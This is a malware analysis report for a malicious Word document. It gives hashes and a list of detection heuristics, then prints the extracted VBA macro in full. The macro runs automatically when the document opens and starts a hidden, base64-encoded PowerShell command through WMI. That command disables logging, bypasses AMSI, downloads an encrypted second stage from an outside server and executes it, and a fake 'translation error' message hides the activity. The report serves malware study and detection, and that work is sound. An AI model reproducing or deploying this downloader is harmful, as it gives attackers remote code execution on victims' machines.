Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5c526644146cc09…

MALICIOUS

Office (OLE)

48.5 KB Created: 2016-11-04 01:07:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: d11f3f23854263dfa30b56b5b76190ed SHA-1: dced89810915ebbbc061aea959fa9b8befcb676b SHA-256: a5c526644146cc09294091b10190de61cdb48804b435cd7cb087390839a77fc5
426 Risk Score

Heuristics 14

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim qgfD As String
        qgfD = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
        qgfD = qgfD + "BlAHIAUwBpAG8ATgBUAEEAQgBsAEUALgBQAFMAVgBFAHIAcwBJ"
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub AutoOpen()
        Debugging
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
        Debugging
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Debugging
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7140 bytes
SHA-256: b95517d4b54d3f79d49d21667e0f56565af8f1151adc1f75d3bc269245860218
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Debugging
End Sub

Sub Auto_Open()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    Dim qgfD As String
    qgfD = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
    qgfD = qgfD + "BlAHIAUwBpAG8ATgBUAEEAQgBsAEUALgBQAFMAVgBFAHIAcwBJ"
    qgfD = qgfD + "AG8ATgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAF"
    qgfD = qgfD + "AAUwA9AFsAcgBFAGYAXQAuAEEAcwBzAGUAbQBCAGwAWQAuAEcA"
    qgfD = qgfD + "RQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
    qgfD = qgfD + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
    qgfD = qgfD + "AHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAGkAZQBgAGwARAAiAC"
    qgfD = qgfD + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
    qgfD = qgfD + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
    qgfD = qgfD + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBFAHQAVgBB"
    qgfD = qgfD + "AGwAVQBlACgAJABOAFUATABsACkAOwBJAGYAKAAkAEcAUABTAF"
    qgfD = qgfD + "sAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcA"
    qgfD = qgfD + "ZwBpAG4AZwAnAF0AKQB7ACQARwBQAFMAWwAnAFMAYwByAGkAcA"
    qgfD = qgfD + "B0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQBb"
    qgfD = qgfD + "ACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG"
    qgfD = qgfD + "8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAA7ACQARwBQAFMA"
    qgfD = qgfD + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
    qgfD = qgfD + "BnAGkAbgBnACcAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBw"
    qgfD = qgfD + "AHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAG"
    qgfD = qgfD + "cAZwBpAG4AZwAnAF0APQAwAH0ARQBsAHMARQB7AFsAUwBjAFIA"
    qgfD = qgfD + "SQBwAFQAQgBsAG8AQwBLAF0ALgAiAEcARQB0AEYAaQBFAGAATA"
    qgfD = qgfD + "BkACIAKAAnAHMAaQBnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAn"
    qgfD = qgfD + "ACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnAC"
    qgfD = qgfD + "kALgBTAEUAVABWAEEATAB1AGUAKAAkAE4AdQBMAEwALAAoAE4A"
    qgfD = qgfD + "ZQB3AC0ATwBiAGoAZQBDAHQAIABDAG8ATABMAGUAYwB0AEkATw"
    qgfD = qgfD + "BOAHMALgBHAGUATgBFAHIAaQBDAC4ASABBAFMASABTAGUAVABb"
    qgfD = qgfD + "AHMAVABSAEkAbgBnAF0AKQApAH0AWwBSAGUARgBdAC4AQQBzAF"
    qgfD = qgfD + "MARQBNAGIATABZAC4ARwBFAHQAVAB5AHAAZQAoACcAUwB5AHMA"
    qgfD = qgfD + "dABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbw"
    qgfD = qgfD + "BtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8"
    qgfD = qgfD + "AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBMAE"
    qgfD = qgfD + "QAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwA"
    qgfD = qgfD + "JwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQ"
    qgfD = qgfD + "AuAFMARQBUAFYAYQBMAHUAZQAoACQATgBVAGwAbAAsACQAVABS"
    qgfD = qgfD + "AHUAZQApAH0AOwB9ADsAWwBTAFkAcwBUAEUATQAuAE4AZQB0AC"
    qgfD = qgfD + "4AUwBlAFIAVgBpAEMAZQBQAG8AaQBOAFQATQBBAG4AQQBHAGUA"
    qgfD = qgfD + "cgBdADoAOgBFAHgAUABFAEMAVAAxADAAMABDAG8AbgBUAGkAbg"
    qgfD = qgfD + "B1AEUAPQAwADsAJABXAEMAPQBOAEUAVwAtAE8AQgBqAEUAYwB0"
    qgfD = qgfD + "ACAAUwBZAHMAdABlAE0ALgBOAGUAVAAuAFcAZQBiAEMAbABpAG"
    qgfD = qgfD + "UAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAA"
    qgfD = qgfD + "IAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVw"
    qgfD = qgfD + "BPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAg"
    qgfD = qgfD + "AHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG"
    qgfD = qgfD + "8AJwA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYA"
    qgfD = qgfD + "aQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUw"
    qgfD = qgfD + "BlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBs"
    qgfD = qgfD + "AGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAH"
    qgfD = qgfD + "sAJAB0AHIAdQBlAH0AOwAkAHcAYwAuAEgARQBBAGQAZQByAHMA"
    qgfD = qgfD + "LgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJA"
    qgfD = qgfD + "B1ACkAOwAkAHcAQwAuAFAAUgBPAHgAeQA9AFsAUwB5AHMAVABl"
    qgfD = qgfD + "AG0ALgBOAGUAVAAuAFcARQBCAFIARQBRAFUAZQBzAHQAXQA6AD"
    qgfD = qgfD + "oARABFAGYAQQB1AGwAdABXAGUAQgBQAHIATwB4AFkAOwAkAHcA"
    qgfD = qgfD + "YwAuAFAAUgBvAFgAeQAuAEMAUgBlAEQARQBOAHQAaQBBAGwAcw"
    qgfD = qgfD + "AgAD0AIABbAFMAeQBzAHQAZQBNAC4ATgBlAFQALgBDAHIARQBE"
    qgfD = qgfD + "AEUAbgB0AGkAQQBMAEMAYQBjAGgAZQBdADoAOgBEAEUAZgBBAH"
    qgfD = qgfD + "UATABUAE4AZQBUAHcAbwByAGsAQwByAGUARABFAG4AdABJAGEA"
    qgfD = qgfD + "bABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIA"
    qgfD = qgfD + "AkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwBZAFMAdABl"
    qgfD = qgfD + "AE0ALgBUAEUAeAB0AC4ARQBuAEMAbwBkAEkATgBnAF0AOgA6AE"
    qgfD = qgfD + "EAUwBDAEkASQAuAEcARQB0AEIAeQBUAGUAcwAoACcAMgB0AFQA"
    qgfD = qgfD + "cgAuADsAXQBtAHAAWABRAHgAOgBEAGEAKwBkAGoASAA4AFkASg"
    qgfD = qgfD + "BxAHUAfgAsAD0AQQAoACUARQBsACcAKQA7ACQAUgA9AHsAJABE"
    qgfD = qgfD + "ACwAJABLAD0AJABBAHIARwBTADsAJABTAD0AMAAuAC4AMgA1AD"
    qgfD = qgfD + "UAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQA"
    qgfD = qgfD + "UwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAFUAbg"
    qgfD = qgfD + "BUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAk"
    qgfD = qgfD + "AEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7AC"
    qgfD = qgfD + "QARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsA"
    qgfD = qgfD + "JABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOw"
    qgfD = qgfD + "AkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABI"
    qgfD = qgfD + "AF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAWABvAFIAJABTAF"
    qgfD = qgfD + "sAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUA"
    qgfD = qgfD + "NgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAcwA6AC8ALw"
    qgfD = qgfD + "B2AHAAcwAxADYANAAxADEAMgAuAHYAcABzAC4AbwB2AGgALgBj"
    qgfD = qgfD + "AGEAOgA0ADQAMwAnADsAJAB0AD0AJwAvAG4AZQB3AHMALgBwAG"
    qgfD = qgfD + "gAcAAnADsAJABXAEMALgBIAGUAYQBEAEUAUgBTAC4AQQBEAGQA"
    qgfD = qgfD + "KAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQ"
    qgfD = qgfD + "AwAFQAYwBKAGoAZQBWAE0ANwBUAEIAcAAwAHQAaQAvAHEAMQBy"
    qgfD = qgfD + "AGIAVQBsAGQAMQBjAGgAdwA9ACIAKQA7ACQAZABBAHQAYQA9AC"
    qgfD = qgfD + "QAVwBDAC4ARABPAHcAbgBMAG8AYQBEAEQAQQBUAEEAKAAkAHMA"
    qgfD = qgfD + "ZQByACsAJABUACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALg"
    qgfD = qgfD + "AuADMAXQA7ACQARABBAFQAYQA9ACQARABBAHQAYQBbADQALgAu"
    qgfD = qgfD + "ACQAZABBAFQAYQAuAEwARQBOAGcAdABIAF0AOwAtAEoATwBpAE"
    qgfD = qgfD + "4AWwBDAGgAQQByAFsAXQBdACgAJgAgACQAUgAgACQARABBAFQA"
    qgfD = qgfD + "YQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA"
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create qgfD, Null, objConfig, intProcessID
    MsgBox "An error occured when trying to translate the document."
End Function